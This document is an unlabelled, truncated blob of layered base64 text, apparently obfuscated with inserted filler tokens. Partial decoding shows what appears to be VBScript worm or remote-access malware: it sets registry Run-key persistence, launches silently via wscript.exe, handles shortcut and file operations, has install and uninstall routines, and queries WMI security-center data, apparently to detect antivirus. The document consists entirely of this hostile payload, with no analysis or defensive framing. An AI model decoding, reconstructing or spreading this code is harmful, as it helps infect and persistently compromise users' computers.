ZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRbk5pYlhSMldXMXZkV0ZYVG5aaWJYaDJXVEpHTUdGWE9YVkpSREJuV20wNWMxcEhWbmxNYmtKb1pFZG5TMGxEUUNwblNVTkFLbWRKUTBKc1lraE9iRWxBS205blNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQ2MySnRkSFpaYlc5MVlWZE9kbUp0ZUhaWk1rWXdZVmM1ZFVsRU1HZGFiVGx6V2tkV2VXRlhUblppWjI5blNVTkFLbWRKUTBBcVowbEhWblZhUTBKd1dtZHZaMGxEUUNwblNVTkFLbWRKUjNoMVlUSTVhV0ZwTlhwWldGcHNTME5yUzBsRFFDcG5TVWMxYkdWSVVVdGFWelZyU1VWc2JVTnRWblZhUTBKS1dtZHdiR0p0VVdkaFYxbExZbTFXTkdSQUtuQnNZMjVKZFZreWVHeFpXRWxMV2xjMWEwbElUakZaWjI5TFl6TldhVWxJVm5WaFZ6VjZaRWRHYzJKQUtuQjJZbWxDYkdOdVNuWmphVUo1V2xoT01XSlhWV2RpYlZZMFpFQXFjR3RoVnpCbldtMXNjMXBYTldoaVYxVkxXa2RzZEVsSFduWmlSMUpzWTIwMWFHSlhWVXREYms1dldsZDRjMkl5U25GTWJrcHNXakpTYkdKSFZqQmFVMEFxYVZORmRFWlhWamxFVmxaS1UxSlZOVlZZTVZaVVVsWktZMk15T1cxa1NHUm9ZMjFXWTJKWGJHcGpiVGw2WWpKYU1GaElaSEJpYlZKMlpETk9ZMWt6Vm5samJWWjFaRWhhYkdOdVRuQmlNalZqWTI1V2RWaERTV2RLYVVKNlkwZDRjR1JEUUNwdllWYzFlbVJIUm5OaVJ6Vm9ZbGRWYzBscE5HbExVMmQzUzFGd2VtRkhWbk5pUnpscFlXazFlVnBYWkd0YVYzaHNaRWRWWjBscmFFeFNWbXhtVkVVNVJGRlZlR1pVVlVaRVUwVnNUMUpXZUhwaU1sb3daREpHZVZwV2VIUmhWMDU1WWpOT2RscHVVbU5rTW14MVdrYzVNMk14ZUdwa1dFcDVXbGMxTUdSdFZubGpNbXgyWW14NGVXUlhOV05KYVVBcWJVbElUbmRpUjJ3d1NVTm9jR0p1VGpCWlYzaHpZbTFHZEZwVGQybE1hVWx3UzBSQUtuQkRiVnB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBIVm5OYVdGSnNXbTFzYzFwVFFucGtSMFo1WkVoV2QwbERXV2RoVnpWNlpFZEdjMkpITldoaVYxVm5URWhTZVdSWFZVdGFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFhMXBYZUd4a1IxWnRZVmQ0YkVsSVpIcFpNMHB3WTBoUmRXTXlUbmxoV0VJd1dtNVdjMkpITldoaVYxVm5URWhTZVdSWFZVdERiVn@*yWTJsQUttZGFWMFpxWVVOQ2EyTnRiREphVTBKd1ltbENiV0ZYZUd4ak0yeDZaRWRXZEdJeVNuRk1iVko1WVZoYWJHTjNjSEJhYVVBcVoxcElTbkJrYlZWMVlWaE9lVnBYUm10bFUwQXFPVWxJVW5sa1YxVm5aRWRvYkdKbmNIQmFhVUFxWjFwSVNuQmtiVlYxV201S2JGcFlUbmRaVj@*1c1NVTkFLaXRKUkVBcVoyUkhhR3hpWjNCd1dtbEFLbWRhU0Vwd1pHMVZkVnBJU25Ca2JWWXdaVmhDYkVsRFFDbzVTVVJGWjJSSGFHeGlaMjluU1VOQUttZGFiVGw1U1VOQ2JGbFhUbTlKUjFwd1lrZFZaMkZYTkdkYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWJscFlVbTFpTW5ocldsaEpaMHREUW10amJXd3lXbE0xZDFsWVVtOUpRMWxuU1d4M2FVdFROVzFoVjNoc1kzZHZaMGxEUUNwblNVTkFLbWRKUTBKMlltbENiR051U25aamFVSjVXbGhPTVdKWFZXZGliVlkwWkVBcWIyZEpRMEFxWjBsRFFDcG5TVU5DY0ZwcFFDcG5ZVmMxZW1SSVNXZExSMXB3WWtkVmRXSnRSblJhVTNkcFRHbEpjRWxJVW05YVZ6UkxTVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUjJ4dFNVTkNjMWt5Um5wYVUwQXFiMk16UW5OaFdGRnZXbTFzYzFwVE5YVlpWekZzVEVOQUttbE1hVWx3UzBoV2FXSXpWblZhUTJoNlkwZDRjR1JEYUcxaFYzaHNURz@*xYUdKWFZYTkpRMGwxU1dscmNFdFRhMmRRUkRSblNXMTRkV0Y1U1dka1IyaHNZbWR2WjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUjFwd1lrZFZkVmxZVWpCamJXeHBaRmhTYkdONVFDbzVTVVJBS2t0SlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQ2NGcHBRQ3BuWkZkT2FHTXlWV2RMUjFwd1lrZFZkV0p0Um5SYVUydG5VRVEwWjJSWFRtaGpNbFZuUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXRUUWpCaFIxWjFRMmxBS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpSMXB3WWtkV2RWbFhNV3hKUkRCbll6TkNjMkZZVVc5YWJXeHpXbE0xZFZsWE1XeE1RMGwxU1dsclMwbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwbldtMXNjMXBZVGpWak0xSnNZbGM1YVdGcE5XdGFWM2hzWkVkV2JXRlhlR3hKUTJoclkyMXNNbHBUTlhkWldGSnZTVU5aWjBsc2QybEpRMWxuV20xc2MxcFhOV2hpVjFWdlRVTnJaMHBwUUNwcFRHMTRkV0Y1U1dkTFVXOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhWbk5qTWxWTFNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWExcFhlR3hrUjFadFlWZDRiRWxEYUd0amJXd3lXbE0xZDFsWVVtOUpRMWxuU1d4M2FVbERXV2RhYld4eldsTTFkVmxYTVd4TFVXOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhWblZhUTBKS1dtZHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV2xkNGVscFJiMmRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVWRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhUjFaeldsaFNiRnB0YkhOYVUwQXFiMXB0YkhOYVV6VjNXVmhTYjB0VFFDcExTVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUjFaMVdrTkNjRnBuYjJkSlEwQXFaMGxEUUNwblNVTkNiR0p0VVdkaFYxbExTVU5BS21kSlEwSjFXbGhvTUVOcFFDcG5TVU5BS21kYWJUbDVTVWRXYUZreVoyZGFiVGx6V2tkV2VVbEhiSFZKUjFwd1lrZFdlbVZZVGpCYVZ6RjJXVzF2ZFZveVZqQmFiVGx6V2tkV2VVdERRbXRqYld3eVdsTTFkMWxZVW05SlExbG5TV3gzYVVsRGEzVmpNMVpwV20wNWMxcEhWbmxqZDI5blNVTkFLbWRKUTBBcVowbERRbTFpTW5ocldsaEpkVmxZVWpCamJXeHBaRmhTYkdONVFDbzVTVVJBS2t0SlEwQXFaMGxEUW5WYVdHZ3dRMjFXZFZwRFFuQmFaM0JzWW0xUloyRlhXVXRhVnpWclNVZHNiVU50Tld4bFNGRkxaRE5PYW1OdGJIZGtRelY0WkZkc01FTnRWblZhUTBKNlpGZEpTME50V2pGaWJVNHdZVmM1ZFVsSVFuWmpNMUZuUzBkT2RGcERRQ3B6WTBkR2VWbFhNSEJEWjNCM1lqTk9NRWxFTUdkalIwWjVXVmN3UzJGSVVqQmpSemxwWVdrMWRtTkhWblZKUTBwM1lqTk9NRWxwZDJsaFNGSXdZMFJ2ZGt4NVNXZEthVUp2WWpOT01FbERXV2RKYW05cFNVTlpaMk5IT1hsa1EwQXFiVWxwT0dsSlExbG5XVEl4YTB4RFFtMVpWM2g2V2xGd2IyUklVbmRpTWtweFRHNU9iR1JJU214aldGWnNZek5TYjFwWFJtdGFXRWxuU1c1V2VscFlTWFJaVjJSc1ltNVJOa2xwZUhCaWJWcDJZMjB4YUdSSGJIWmlaM0J2WkVoU2QySXlTbkZNYms1c1ltMVJaMk5IUm5sWlZ6QkxZMGM1ZW1SRFFDbzVTVWRvTUdSSVFuWlpiVzkxWTIxV2VtTkhPWFZqTWxZd1dsaG9NRU50Vm5WYVEwSnRaRmMxYW1SSGJIWmlaMjlMV201V2RWa3pVbkJpTWpSbllWYzFiV0l6U25SWldGSndZakkwUzJJeU5HZGFXRX@*1WWpOSloyTnRWbnBrVnpGc1NVYzFiR1ZJVVV0aFYxbG5TVWRzZFZwcFFDbzVTVU5KYVVsSVVtOWFWelJMU1VOQUttZEpSMngxV21sQUtqbEpSMmd6WVZkUlowcHBRbnBqUjNod1pFZFdlVWxBS205blNVTkFLbWRoVnpWdFNVUXdaMkZYTlcxSlEwQXFiVWxJVG05YVYzaHpZakpLY1V4dFZqUmpSMFoxV2tkV2RXUnRiSGxpTWpWMFdsYzFNR016VW5saFZ6VnVZM2xuYVVwWFRuWmlXRUl4WkVkV2VXSnRSblJhVTFWcFMxTkFLbTFKU0U1M1lrZHNNRnBZU1dkRGFVQXFaMGxEUW5CaWJWbG5VRk5DY0dKdFdXZEpRMWxuWXpKb2JHSkhlSFpaYlc5MVdsaG9kMWxYTld0YVZ6VXlZVmhLZG1KdE1XeGlibEo2WkVoS2NHSnRaSHBMUTBsc1pGaE9iR050TldoaVYxVnNTV2xyWjBwcFFucGpSM2h3WkVkV2VVTm5iMmRKUTBBcVoyTXlWakJKU0VwMllqTlJaMUJUUW01YVdGSjJXVzF3YkZrelVXOUpibVJ3WW0weGJtSllVbnBQYm5Sd1lsaENiR051VG5aaWJVWXdZVmM1ZFdKSFZqSmFWM2M1WVZjeGQxcFlTbnBpTWpWb1pFZFdPVWxXZUdOTWJIaDVZakk1TUZoSFRuQmlXRmw1U1dsclMwbERRQ3BuU1VoT2JHUkRRblpqZVVBcU9VbElTblppTTFGMVdsaG9iRmt6UmpGYVdFbzFTVU5uYVdNeVZuTmFWMDR3U1VOdloxcHVTblppVTBJellWYzBlazFzT1haalIxWjVXVmhTY0dKdFpIcGxXRTR3V2xjd2FVdFJiMmRKUTBBcVoxcHRPWGxKUjFab1dUSm5aMkl6VG5CaWJWcDJTVWRzZFVsSE9YcERhVUFxWjBsRFFDcG5TVU5DY0dKdFdXZFFVMEp3WW0xWlowcHBRblpqTW14MVdtMDRkVmt5Um5ka1IyeDJZbWxBS20xSlNFNTNZa2RzTUZwWVNXZEpRQ3B2WjBsRFFDcG5TVU5BS21kYVdHaHdaRU5DYldJelNVdEpRMEFxWjBsSE5XeGxTRkZMU1VOQUttZEpSMngxV21sQUtqbEpSMngxV21sQUttMUpRMH@*zWWtoV2VrbHBRQ3B0U1VoT2QySkhiREJhV0VsTFNVTkFLbWRKUjJ4MVdtbEFLamxKUjJ4MVdtbEFLbTFKU0U1c1dUTldlV0ZZVWpWSlExbG5Zek5DYzJGWVVteGpaMjluU1VOQUttZGhWelZ0U1VRd1oyRlhOVzFKUTFsblpGaE9hV016UW5sYVYwWnJZVmMxYmtOcFFDcG5TVU5DY0dKdFduWmpiVEZvWkVkc2RtSnBRQ281U1Vkc2RWcHBRQ3BuUTIxV2MyTXlWVXRKUTBBcVowbEhiSFZhYlRsNVlsZEdNR0ZYT1hWSlJEQm5ZVmMxYlVOdFZuVmFRMEp3V21kd2JHSnRVV2RhYmxaMVdUTlNjR0l5TkV0RFozQjZaRmRKWjJSWVFucGtSMFo1WkVOQUttOUxVWEIyWW1sQ2JHTnVTblpqYVVKNVdsaE9NV0pYVldkVWJWWTBaRUFxYjB0ak1taHNZa2Q0ZGxsdGIzVmpiVlp1WkROS2NHUkhWV2RKYTJoTVVsWnNabEV4VmxOVmExWlBWa1k1VmxVd1ZsTllTRTUyV201U00xbFlTbXhZUnpGd1dUTktkbU15T1cxa1JuZ3pZVmMxYTJJelpIcFlSMDR4WTI1S2JHSnVVakphV0VwNllWYzVkVmhJU2pGaWJIZHBTVU5aWjJNelFuTmhXRkZuUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXhEU1hWSmFXdHZUVU5yYzBsRFFDcHBaRE5PYW1OdGJIZGtRelZzWlVkVloweDVPVU5KUTBsblNtbENhbUZJU2pOTFJFMHdTMU5BS20xSlIyeDFZek5TYUdKSGVHdGhXRWxuU21sQ2NHSnVUakJaVjNoelltMUdkRnBUUUNwdFNVZE9iMk51WTI5TmVsRndTVU4zWjBsc1NrWlNNVGxVVjJsSlMyTXlhR3hpUjNoMldXMXZkV050Vm01a00wcHdaRWRWWjBscmFFeFNWbXhtVkVVNVJGRlZlR1pVVlVaRVUwVnNUMUpXZUhwaU1sb3daREpHZVZwV2VIUmhWMDU1WWpOT2RscHVVbU5rTW14MVdrYzVNMk14ZUdwa1dFcDVXbGMxTUdSdFZubGpNbXgyWW14NGVXUlhOV05KYVVBcWJVbElUbmRpUjJ3d1NVTm9jR0p1VGpCWlYzaHpZbTFHZEZwVGQybE1hVWx3UzBSQUtuQk1RMEFxWjBsdVpIcFpNMHB3WTBoUmRWcFlhR3hKUXpoMlVXbEFLbWxKUTBBcWJVbEhUbTlqYm1OdlRYcFJjRWxEV1dkaFZ6VjZaRWRHYzJKSFVuQmphVUFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hKUTFsbldUSm9lV1I1WjNwT1EydG5URU5BS21sVmExWklXREZPWVVsbmNHMWhWM2hzWXpOc2VtUkhWblJpTWtweFRHMU9kbU5JYkcxaFYzaHNTVWhrZWxrelNuQmpTRkYxWXpKT2VXRllRakJhYmxaellrYzFhR0pYVlhOaFZ6VjZaRWRHYzJKSFVuQmphVUFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hNU0ZKNVpGZFZTMXB0YkhOYVdFNDFZek5TYkdKWE9XbGhhVFZxWWpOQ05WcHRiSE5hVTBJell6Sk9lV0ZZUWpCTWJrNXFZMjFzZDJSSFdqRmlSM2gxV1ZjeGJFeElUakJaV0Vvd1pGaEFLbWRLYVVKd1ltNU9NRmxYZUhOaWJVWjBXbE5BS25Oa1NFb3hXbEZ2UzFwWE5XdEpTRTR4V1dkdlMwTnRXakZpYlU0d1lWYzVkVWxIYUROaFYxRkxZakkwWjFwWVNubGlNMGxuWTIxV2VtUlhNV3hKUnpWc1pVaFJTME51VG14a1EwSjVZakk1TUVsRU1HZGFNbFl3WWpKS2NWcFhUakJMUTBvellWYzFkRm95TVRCamVuQTNZVmN4ZDFwWVNucGlNalZvWkVkc2RtSnRlR3hrYlZaelVGZHNkR05IVm5sak1qbDFXVmhTYkdaVFJtTllRelZqWTIwNWRtUkdlR3BoVnpFeVRXbEpjRU51VG14a1EwSnJZVmhPY21ONVFDbzVTVWhLZG1JelVYVmFXR2hzV1ROR01WcFlTalZKUTJkcFl6SldjMXBYVGpCSlEyOW5XbTVLZG1KVFFqTmhWelI2VFd3NWMySXlaSEJaTWtaeldrZHNlbUY1U1hCRGJWcDJZMmxDYkZsWFRtOUpSMUp3WXpKeloyRlhOR2RhUjJ4NllUTk5TMGxEUUNwblNVZHNiVWxEUW10aFdFNXlURzVhZG1KSVZuUmFXRTVzWTIxc2FHSkhOVEZpVjBwc1kybEFLamhRYVVBcWFVbHBRakJoUjFaMVEybEFLbWRKUTBBcVowbERRQ3BuWVVoa2NGcERRQ281U1VkU2NHTXljM1ZrYlRselpGY3hiR015Vm5saFYwWnpZbTVXZEZsdFZubERhVUFxWjBsRFFDcG5TVU5BS21kYVdHaHdaRU5DYldJelNVdEpRMEFxWjBsSFZuVmFRMEp3V21kd2RWcFlhREJEYlZaMVdrTkNiV1JYTldwa1IyeDJZbWR2UzBOdFdqRmliVTR3WVZjNWRVbElUbXhaTTFaNVlWaFNOVWxBS25CMlltbENiR051U25aamFVSjVXbGhPTVdKWFZXZGliVlkwWkVBcWIwdGpNbFpxWkZoS2NHUklhMmRRVTBBcWFVbG5iMHRqTWxZd1NVYzVhV0Z1WkhSaFdFNXNZMjVhY0ZreVZXZFFVMEp1V2xoU2RsbHRjR3haTTFGdlNXNWtjR0p0TVc1aVdGSjZUMjUwY0dKWVFteGpiazUyWW0xR01HRlhPWFZpUjFZeVdsZDNPV0ZYTVhkYVdFcDZZakkxYUdSSFZqbEpWbmhqVEd4NGVXSXlPVEJZUj@*1d1lsaFplVWxwYTB0ak1sWXdTVWRPZG1KSGJEQmFWekY2U1VRd1oySXlTbkZrTWpGd1l6SldlV1J0YkdwYVV6VnNaVWRXYW1OWVZteGpibXR2U1c1T2JHSkhWbXBrUTBBcWNVbEhXbmxpTWpCblpESnNkVTE2U21aaU0wSnNZMjFHTUdGWE5XNWpNMng2WkVkV2RFbHBkM05PUkdkd1EyMWFkbU5wUW14WlYwNXZTVWM1YVdGdGJEQmFWekJuWVZjMFoxa3lPWE5oV0ZKc1lsaE5TMGxEUUNwblNVaGFiR051VG5CaU1qVjZaRWhKWjFCVFFucGpSM2h3WkVOQUttOWlNa3B4WVZoU2JHSlROVEphV0VwNllWYzVkVXhEU1hWSmFXdExZbTFXTkdSQUtuQXlXbGhLZW1GWE9YVmpNMUo1U1VRd1oyTXpRbk5oV0ZGblMwZE9kbUpIYkRCYVZ6RjZURzVhYkdOdVRuQmlNalJ6U1drMGFVdFJjSFpqTTFwc1kyNU9jR0l5TkdkUVUwSXlXbGhLZW1GWE9YVmpNMUo1U1VObmQwdFRRQ3B0U1VOSmRVbG5jRzFpTTBsblNVaG5aMUJUUUNwNFNVaFNka2xJVm1saU0xWjFXa05BS205a2JWWjVZekpzZG1KdVRqQmphV3RMUTFOQ2RtTXpXbXhqYms1d1lqSTBaMUJUUW5aak0xcHNZMjVPY0dJeU5HZEthVUFxWjJSdFZubGpNbXgyWW01T01HTnBRQ3B2WVZOclMySnRWalJrUUNwd2RtTXpXbXhqYms1d1lqSTBaMUJUUW14a2JVWnpTVU5vZG1NeldteGpiazV3WWpJMGNFTnRiRzFKUTBKMll6TmFiR051VG5CaU1qUm5VR2xBS2pKSlNGSnZXbGMwWjJNeVRXZFFVMEFxYVdNeVZtcGtXRXB3WkVoc2FscFhOVEJhV0VsNVNXbENiR0pJVG14SlNFNXFTVVF3WjBsdVRteFpNMVo1WVZoU05Wa3lWblZrUjFaNVNXZHZTMk15VmpCSlJ6bHBZVzVPYkZrelZubGhXRkkxV1RKV2RXUkhWbmxKUkRCbldqSldNR0l5U25GYVYwNHdTME5LTTJGWE5YUmFNakV3WTNwd1kxaEhlSFpaTWtaellVYzVlbVJHZUhsaU1qa3dXRU5KWjBwcFFucFplV3RMVlRKV01FbEhUblppUjBaMVpFZHNNbUZZU2pGamVVQXFPVWxIT1dsaGJrNXNXVE5XZVdGWVVqVlpNbFoxWkVkV2VVeHRWalJhVj@*1NFpGZFdlV1ZUWjJsak1sWnpXbGRPTUVsRGIyZGFia3@*yWWxOQ2FHSnVVbkJrYld4NVpGaE9kMk50T1d0a1YwNHdTV2wzYVdRelJuTkphWGQzUzFGdlMxcHRPWGxKUjFab1dUSm5aMkl5U25GWlZ6VXdZVmhhY0dOdVZucEpSMngxU1VkT2RtSkhSblZrUjJ3eVlWaEtNV04zYjJkSlEwQXFaMk15Vm1wa1dFcHdaRWhyWjBsRU1HZGpNbFpxWkZoS2NHUklhMmRKUTFsbllqSktjVmxYTlRCaFdGcHdZMjVXZWt4dFVuQmpNMEp6V1Zoc2RWbFhNV3hKUTFsblNXbEFLblZKWjNCMVdsaG9NRU50YkcxSlNFNXNXVE5XZVdGWVVqVkpRMEFxT1VsRFNXbEpTRkp2V2xjMFoyTXlWbXBrV0Vwd1pFaHJaMGxFTUdkSmJUVm9ZbWt4YUdScFNVdGFWelZyU1VkYU1XSnRUakJoVnpsMVEyZHZTMXB1Vm5WWk0xSndZakkwWjJGWE5YcGtSMFoxV1RKVlMySXlOR2RhV0VwNVlqTkpaMk50Vm5wa1Z6RnNTVWMxYkdWSVVVdERibFo2V1c1T2QyTnRWbWhhUjJ4MVdubEFLamxKU0U1dldsZDRjMkl5U25GTWJrcHNXak5LYkZsWFVXZExRMHBKVXpCV1dsZ3dlRkJSTUVaTldEQXhRbEV3YUVwVWExWmpZekk1YldSSVpHaGpiVlpqU1dsQUttMUpTRTUzWWtkc01FbERhSEJpYms0d1dWZDRjMkp0Um5SYVUzZHBUR2xKY0V0RVFDcHdTVU5aWjBsc2QybExVWEJ3V21sQ01XTXlTbnBqU0Vwc1dWZFNjR0p0WTJkUVUwQXFhVWxwUWpCaFIxWjFRMmxBS21kSlIyeHRTVWQ0YWxsWVRteEpRMmRuWWxkc2EwdElaSHBaTTBwd1kwaFJkV015VG5saFdFSXdXbTVXYzJKSE5XaGlWMVZ6VFdscmNFbEVNR2RKYW5CalNXbEFLbTFKUTBKeldUSkdlbHBUYUhCaWJrNHdXVmQ0YzJKdFJuUmFVMnRuWkVkb2JHSm5iMmRKUTBBcVowbERRakZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sa1NFb3hXbE5BS25SSlEwbG5TbWxDYTFsWVVteERhVUFxWjBsRFFDcG5TVWhPYjFwWGVITmlNa3B4VEc1S2JGb3paSGxoV0ZKc1NVTktTVk13VmxwWU1IaFFVVEJHVFZnd01VSlJNR2hLVkd0V1kyTXlPVzFrU0dSb1kyMVdZMGxwUUNwdFNVaE9kMkpIYkRCSlEyaHdZbTVPTUZsWGVITmliVVowV2xOM2FVeHBTWEJMUkVBcWNFbERRQ3B0U1VOS1kwbHBkMmRKU0ZaNldXNU9kMk50Vm1oYVIyeDFXbmwzWjBsc1NrWlNNVGxVVjJsSlMwbERRQ3BuV2xkNGVscFJiMmRKUTBBcVowbERRakZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sYWJVWnpZekpWWjB4VFFDcHBTVU5aWjFwSFJqQmFVVzluU1VOQUttZEpRMEo2WVVkV2MySkhPV2xoYVRWNVdsZGtNMk50YkRCYVUwQXFhVk5GZEVaWFZqbE5WREJPUWxSR09VNVJWVTVKVTFVMVJsaElUblphYmxJeldWaEtiRmhEU1dkS2FVSjZZMGQ0Y0dSRFFDcHZZVmMxZW1SSFJuTmlSelZvWWxkVmMwbHBOR2xMVTJkM1MxTkFLbWRLYVVBcWFWaERTWE5KUTBJeFl6SktlbU5JU214WlYxSndZbTFqYzBsRFNsTlNWV1JtVlRGdmFVTm5iMmRKUTBKc1ltMVJaMkZYV1V0YVZ6VnJTVVZzYlVObmIwdERibFozWXpOU2FHTnVVVXRqTWxZd1NVaE9hbU50Ykhka1Ixb3hZa2Q0ZFZsWE1XeGpNbWgyWTI1UloxQlRRQ3BuV20xc2MxcFlUalZqTTFKc1lsYzVhV0ZwTlc1YVdGSnRZVmQ0YkVsRGFETmpNazU1WVZoQ01FeHVUbXBqYld4M1pFZGFNV0pIZUhWWlZ6RnNTMUZ3ZWxwWVVXZGhWelY2WkVkR2MySkhXakZpUjNoMVdWY3hiR015YUhaamJsRm5VRk5BS21kYWJXeHpXbGhPTldNelVteGlWemxwWVdrMWJscFlVbTFoVjNoc1NVTm9jR0p1VGpCWlYzaHpXa2RzZVVsRFdXZGhWelY2WkVkR2MySkhOV2hpVjFWd1EyMXNiVWxEUW5OWk1rWjZXbE5BS205ak1rNTVZVmhDTUZwdVZuTmlSelZvWWxkV2VtRkhPWGxrUXpWNllVYzVlV1JJUW1oa1IyZHdTVVIzSzBsSGVHcFpXRTVzU1VOb2NHSnVUakJaVjNoeldtNVdjMkpITldoaVYxWjZZVWM1ZVdSRE5YcGhSemw1WkVoQ2FHUkhaM0JKU0ZKdldsYzBaME5wUUNwblNVTkNlbUZIVm5OaVJ6bHBZV2sxZVdSWE5HZEpibVI2V1ROS2NHTklVWFZhV0doc1NVTTRkbEZwUUNwcFNVTlpaMWt5YUhsTFJFMHdTMU5BS20xSlIyeDFZek5TYUdKSGVHdGhXRWxuU21sQ2NHSnVUakJaVjNoelltMUdkRnBUUUNwdFNVVk9iMk5wWjNwT1EydExTVU5BS21kSlNHUjZXVE5LY0dOSVVYVmpXRlp3WkVOQUtrdGFWelZyU1VWc2JVTnRWbmxqYVRWcVlrZFdhR05uY0hwYVdGRm5ZakkxYkdJeU5XcGFVMEFxT1VsSFduQmlSMVo2WlZoT01GcFhNWFpaYlc5MVlqTkNiR0p1VW14bFNGSnRZVmQ0YkVsRGFIQmliazR3V1ZkNGMxcEhiSGxKUTFsbllWYzFlbVJIUm5OaVJ6Vm9ZbGRWWjB4RVozTkpSMXBvWWtoT2JFdFJjSEJhYVVBcVoxcFlTbmxNYlRVeFlsZEtiR05wUUNvclNVUkFLbWRrUjJoc1ltbENNMk15VG5saFdFSXdURzVHTVdGWVVVdGFWelZyU1VkYU1XSnRUakJoVnpsMVEyZHZTMk16Vm1sSlNFNXdaRWRXYTJJelpIVmlSemxvV2tkV2VVbERhRzFoVjNoc1pGaEtjMHhIV25CaVIxWjFXVmN4YkV0UmIwdGpNMUo1WWtkc2RXRjVRQ281U1VkYWNHSkhWakZqYlhkTFl6TlNlV015UmpKYVdGSjJTVVF3WjJGWE5YcGtSMFp6WWtkU2NHTnBRQ3B0U1VkYWNHSkhWblZaVnpGc1EyNU9iR1JEUW5aWmJYQnZaRWhTZDFwSE9UTmliWGgyV1ZkUloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzB4ZW1WSE1YTk5hVFUwWWxkNGIyUklVbmRKYVVBcWNFTnRPV2xoYldnd1pFaENhMkl6WkhWaVJ6bG9Xa00xZG1OSFZuVkpRMHB1V2xoUmFVeERRbnBrU0VwellWYzFja3hEUW0xWlYzaDZXbEZ3ZGxsdGNHOWtTRkozV2tjNU0ySnRlSFpaVjFGMVl6SldkVnBBS205TFl6SldNRWxIT1dsaGJWcDZZakpTZG1ReU5YTmlNa1pyU1VRd1oxa3pTbXhaV0ZKc1lqSktjVnBYVGpCSlEyZHBZekpPZVdGWVFqQmhWelZ1VEcxYWNHSkhWbnBsV0U0d1dsY3hkbGx0Y0d4Wk0xRnBTMUZ3Y0ZwcFFDcG5ZakpLY1ZwdVRuWmFSemt6WW0xNGRsbFhVWFZhYld4eldsZFdOR0ZZVGpCamVVQXFiMk16VW5sak1rWXlXbGhTZGt0VFFqQmhSMVoxUTJsQUttZEpRMEoyV1cxd2JXTXlPV3RpTTJSMVlrYzVhRnBETld0YVYzaHNaRWRXYldGWGVHeEpRMmg2WkVoS2VsbFlXbXhrUnpod1EyMVdkVnBEUW5CYVoyOW5RMjFzYlVsSE9XbGhiV2d3WkVoQ2EySXpaSFZpUnpsb1drTTFlbVJIUmpCa1dFMW5VRk5BS25sTlJFQXFaMlJIYUd4aVoyOW5TVU5DYTJGWE1HZEpSemxwWVc1T01HTnRWbWhpVjFKMlpESTFjMkl5Um10RGFVQXFaMGxJVG14a1EwQXFaMkl5U25Gak0xSjVXbGRHZEZwSE9UTmliWGgyV1ZkUloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzFHYTJJeVVtbE1iazR3WTIxV2FHSlRTWEJEYVVBcVowbElaSEJrUjJkbllqSktjV016VW5sYVYwWjBXa2M1TTJKdGVIWlpWMUZMUTFGcmRXUkliSGRhVTBBcU9VbEVSV2REWjJ0S1RHMDVkMXBYTkV0RFVXdDFaRE5LY0dSSFZXZGlNa3B4WVVoU01HTkhVblprTWpWellqSkdhMHh1U214ak0wSjJZbTVPYkZsdE9XdGxVVzlLUTFNMWVsbFlXbXhrUnpsdFlWZDRiRWxJVGpCamJrNW9aRzFXTUdKM2IwcERVelZxWWtjNWVscFJiMmRKUTBKc1ltMVJaMlF5YkRCaFFDcHZaMGxEUW5wYVdGRm5ZakpLY1dNelVubGFWMFowV2tjNU0ySnRlSFpaVjFGblVGTkNkV0l6VW05aFZ6VnVRMjFXZFZwRFFuQmFaM0J3V21sQ2RsbHRjRzFqTWpscllqTmtkV0pIT1doYVF6VnRZVmQ0YkZwWWFIQmpNMUo2UzBoT01HTnVUbWhrYlZZd1lubHJaMlJIYUd4aVoyOW5TVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhOR2RpTWtweFdtNU9kbHBIT1ROaWJYaDJXVmRSZFZveVZqQmFiV3h6V2xOQUttOWpNMUo1WXpKR01scFlVblpMVXpWNllVYzVlV1JJUW1oa1IyZExXbGMxYTBsSGJHMUpRQ3B3YkdKdFVXZGpNMVpwUTJkd2VtUlhTV2RhUnprelltMTRkbGxYVVdkTFIxcHdZa2RXTVdOdGQzTmFiV3h6V2xkU2NHTnBhMHREYld4dFNVZGFjR0pIVm10aFdFbG5VRk5BS21sSmFVSXdZVWRXZFVsQUttOW5TVU5DYldGWGVHeGFSMng1U1VRd1oyRlhOWHBrUjBaellrZFNjR05uY0d4aWJWRm5ZVmRaUzBOdVRqQmpiazVvWkcxV01HSjVRQ281U1VkYWNHSkhWbXRoV0VsblNtbENkR0ZYVVdkTFIxcHdZa2RXTVdOdGQzTkpSMngxWXpOU2VXTnRWakpKUTJodFlWZDRiR1JZU25OTVEwcGpTV2xyWjB0NVFDcDRTMUZ3ZWxwWVVXZGlNa3B4WVVoU01HTkhVblprTWpWellqSkdhMGxFTUdkWk0wcHNXVmhTYkdJeVNuRmFWMDR3UzBOS2RHTXphSFJpUkVsMVpVY3hjMkZJVWpCalEwbHdRMj@*1YVdGdGFEQmtTRUpyWWpOa2RXSkhPV2hhUXpWMlkwZFdkVWxEU25kaU